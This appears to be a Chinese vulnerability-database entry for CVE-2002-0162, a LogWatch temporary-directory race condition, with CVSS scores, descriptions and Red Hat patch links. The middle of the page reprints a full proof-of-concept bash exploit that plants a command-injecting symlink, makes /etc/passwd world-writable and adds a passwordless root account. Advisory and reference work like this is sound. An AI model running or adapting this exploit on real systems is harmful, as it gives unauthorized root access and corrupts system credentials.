CVE-2002-0162
CVSS6.2
发布时间 :2002-03-27 00:00:00
修订时间 :2016-10-17 22:16:41
NMCOES    

[原文]LogWatch before 2.5 allows local users to execute arbitrary code via a symlink attack on the logwatch temporary directory.


[CNNVD]LogWatch不安全临时文件建立漏洞(CNNVD-200203-101)

        
        LogWatch是一款免费开放源代码监视日志文件程序,运行在Linux和Unix操作系统平台下。
        LogWatch由于对临时目录和文件的建立缺少检查,可导致竞争条件攻击。
        LogWatch在执行的时候会在/tmp目录下建立目录,目录使用logwatch.$pid名字命令,而$pid是执行脚本的进程ID,LogWatch在建立目录时没有检查目录是否存在或者目录内容是否存在,可导致本地用户使用可预测的进程ID建立logwatch.$pid目录,并在目录中放置恶意文件,就可以导致logwatch执行时恶意文件也被执行,导致权限提升。
        

- CVSS (基础分值)

CVSS分值: 6.2 [中等(MEDIUM)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: HIGH [漏洞利用存在特定的访问条件]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0162
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2002-0162
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200203-101
(官方数据源) CNNVD

- 其它链接及资源

http://list.kaybee.org/archives/logwatch-announce/2002-March/000002.html
(UNKNOWN)  CONFIRM  http://list.kaybee.org/archives/logwatch-announce/2002-March/000002.html
http://marc.info/?l=bugtraq&m=101724766216872
(UNKNOWN)  BUGTRAQ  20020327 Root compromise through LogWatch 2.1.1
http://online.securityfocus.com/archive/82/264233
(UNKNOWN)  VULN-DEV  20020327 Root compromise through LogWatch 2.1.1
http://www.iss.net/security_center/static/8652.php
(UNKNOWN)  XF  logwatch-tmp-race-condition(8652)
http://www.securityfocus.com/bid/4374
(UNKNOWN)  BID  4374

- 漏洞信息

LogWatch不安全临时文件建立漏洞
中危 竞争条件
2002-03-27 00:00:00 2005-10-20 00:00:00
本地  
        
        LogWatch是一款免费开放源代码监视日志文件程序,运行在Linux和Unix操作系统平台下。
        LogWatch由于对临时目录和文件的建立缺少检查,可导致竞争条件攻击。
        LogWatch在执行的时候会在/tmp目录下建立目录,目录使用logwatch.$pid名字命令,而$pid是执行脚本的进程ID,LogWatch在建立目录时没有检查目录是否存在或者目录内容是否存在,可导致本地用户使用可预测的进程ID建立logwatch.$pid目录,并在目录中放置恶意文件,就可以导致logwatch执行时恶意文件也被执行,导致权限提升。
        

- 公告与补丁

        临时解决方法:
        如果您不能立刻安装补丁或者升级,CNNVD建议您采取以下措施以降低威胁:
        * 停止使用logwatch.
        厂商补丁:
        RedHat
        ------
        RedHat已经为此发布了一个安全公告(RHSA-2002:053-12)以及相应补丁:
        RHSA-2002:053-12:Race conditions in logwatch
        链接:https://www.redhat.com/support/errata/RHSA-2002-053.html
        补丁下载:
        Red Hat Linux 7.2:
        SRPMS:
        ftp://updates.redhat.com/7.2/en/os/SRPMS/logwatch-2.6-1.src.rpm
        noarch:
        ftp://updates.redhat.com/7.2/en/os/noarch/logwatch-2.6-1.noarch.rpm
        可使用下列命令安装补丁:
        rpm -Fvh [文件名]
        其他版本的RedHat Linux的Powertools中带了logwatch,因此RedHat也已经为此发布了
        一个安全公告(RHSA-2002:054-09)以及相应补丁:
        RHSA-2002:054-09:Race conditions in logwatch
        链接:https://www.redhat.com/support/errata/RHSA-2002-054.html
        补丁下载:
        Red Hat Powertools 6.2:
        SRPMS:
        ftp://updates.redhat.com/6.2/en/powertools/SRPMS/logwatch-2.6-1.src.rpm
        noarch:
        ftp://updates.redhat.com/6.2/en/powertools/noarch/logwatch-2.6-1.noarch.rpm
        Red Hat Powertools 7.0:
        SRPMS:
        ftp://updates.redhat.com/7.0/en/powertools/SRPMS/logwatch-2.6-1.src.rpm
        noarch:
        ftp://updates.redhat.com/7.0/en/powertools/noarch/logwatch-2.6-1.noarch.rpm
        Red Hat Powertools 7.1:
        SRPMS:
        ftp://updates.redhat.com/7.1/en/powertools/SRPMS/logwatch-2.6-1.src.rpm
        noarch:
        ftp://updates.redhat.com/7.1/en/powertools/noarch/logwatch-2.6-1.noarch.rpm
        可使用下列命令安装补丁:
        rpm -Fvh [文件名]
        LogWatch
        --------
        目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
        
        http://www.kaybee.org/~kirk/html/linux.html

- 漏洞信息 (21356)

LogWatch 2.1.1/2.5 Insecure Temporary Directory Creation Vulnerability (EDBID:21356)
linux local
2002-03-27 Verified
0 spybreak
N/A [点击下载]
source: http://www.securityfocus.com/bid/4374/info

LogWatch is a freely available, open source script for monitoring log files. It may be used with the Linux and Unix Operating systems.

Upon execution, LogWatch creates a directory in /tmp. This directory uses the name logwatch.$pid, where $pid is the process id of the executing script. The LogWatch script does not check for an already existing directory or contents of the already existing directory. It is therefore possible for a local user to create a malicious logwatch.$pid directory using predicted process IDs, and place malicious files in the directory which will be executed. 

cat > logwatch211.sh <<EOF

#!/bin/bash
#
# March 27 2002
#
# logwatch211.sh
#
# Proof of concept exploit code
# for LogWatch 2.1.1
# Waits for LogWatch to be run then gives root shell
# For educational purposes only
#
# (c) Spybreak <spybreak@host.sk>


SERVANT="00-logwatch" # Logwatch's cron entry
SCRIPTDIR=/etc/log.d/scripts/logfiles/samba/

echo
echo "LogWatch 2.1.1 root shell exploit"
echo '(c) Spybreak <spybreak@host.sk>'
echo
echo "Waiting for LogWatch to be executed"

while :; do
  set `ps -o pid -C $SERVANT`
    if [ -n "$2" ]; then
      mkdir /tmp/logwatch.$2
      ln -s $SCRIPTDIR'`cd etc;chmod 666 passwd #`' /tmp/logwatch.$2/cron
      break;
    fi
done
echo "Waiting for LogWatch to finish it's work"
while :; do
  set `ps -o pid -C $SERVANT`
    if [ -z "$2" ]; then
      ls -l /etc/passwd|mail root
      echo master::0:0:master:/root:/bin/bash >> /etc/passwd
      break;
    fi
done
su master

EOF		

- 漏洞信息

5776
LogWatch Temp Directory Race Condition Arbitrary Code Execution
Local Access Required Race Condition
Loss of Integrity
Exploit Public

- 漏洞描述

Logwatch contains a flaw that may allow a malicious user to execute arbitrary code as the superuser. The issue is that Logwatch fails to check for existing directories in /tmp before it trusts the content of that directory. The flaw allows execution of any code in a directory named with an anticipated PID. This may result in a loss of confidentiality, integrity, and/or availability.

- 时间线

2002-03-27 Unknow
2002-03-27 Unknow

- 解决方案

Upgrade to version 2.6 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者

- 漏洞信息

LogWatch Insecure Temporary Directory Creation Vulnerability
Race Condition Error 4374
No Yes
2002-03-27 12:00:00 2009-07-11 11:56:00
This vulnerability discovery credited to Spybreak <spybreak@host.sk>.

- 受影响的程序版本

LogWatch LogWatch 2.5
LogWatch LogWatch 2.1.1
+ RedHat Linux 7.2 ia64
+ RedHat Linux 7.2 ia64
+ RedHat Linux 7.2 i386
+ RedHat Linux 7.2 i386
+ RedHat Linux 7.2 alpha
LogWatch LogWatch 2.6
+ Red Hat Enterprise Linux AS 2.1
+ Red Hat Enterprise Linux AS 2.1
+ RedHat Advanced Workstation for the Itanium Processor 2.1 IA64
+ RedHat Advanced Workstation for the Itanium Processor 2.1 IA64
+ RedHat Advanced Workstation for the Itanium Processor 2.1
+ RedHat Advanced Workstation for the Itanium Processor 2.1
+ RedHat Enterprise Linux ES 2.1
+ RedHat Enterprise Linux ES 2.1
+ RedHat Enterprise Linux WS 2.1

- 不受影响的程序版本

LogWatch LogWatch 2.6
+ Red Hat Enterprise Linux AS 2.1
+ Red Hat Enterprise Linux AS 2.1
+ RedHat Advanced Workstation for the Itanium Processor 2.1 IA64
+ RedHat Advanced Workstation for the Itanium Processor 2.1 IA64
+ RedHat Advanced Workstation for the Itanium Processor 2.1
+ RedHat Advanced Workstation for the Itanium Processor 2.1
+ RedHat Enterprise Linux ES 2.1
+ RedHat Enterprise Linux ES 2.1
+ RedHat Enterprise Linux WS 2.1

- 漏洞讨论

LogWatch is a freely available, open source script for monitoring log files. It may be used with the Linux and Unix Operating systems.

Upon execution, LogWatch creates a directory in /tmp. This directory uses the name logwatch.$pid, where $pid is the process id of the executing script. The LogWatch script does not check for an already existing directory or contents of the already existing directory. It is therefore possible for a local user to create a malicious logwatch.$pid directory using predicted process IDs, and place malicious files in the directory which will be executed.

- 漏洞利用

Exploit contributed by Spybreak &lt;spybreak@host.sk&gt;.

- 解决方案

Fixes available:


LogWatch LogWatch 2.1.1

- 相关参考

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站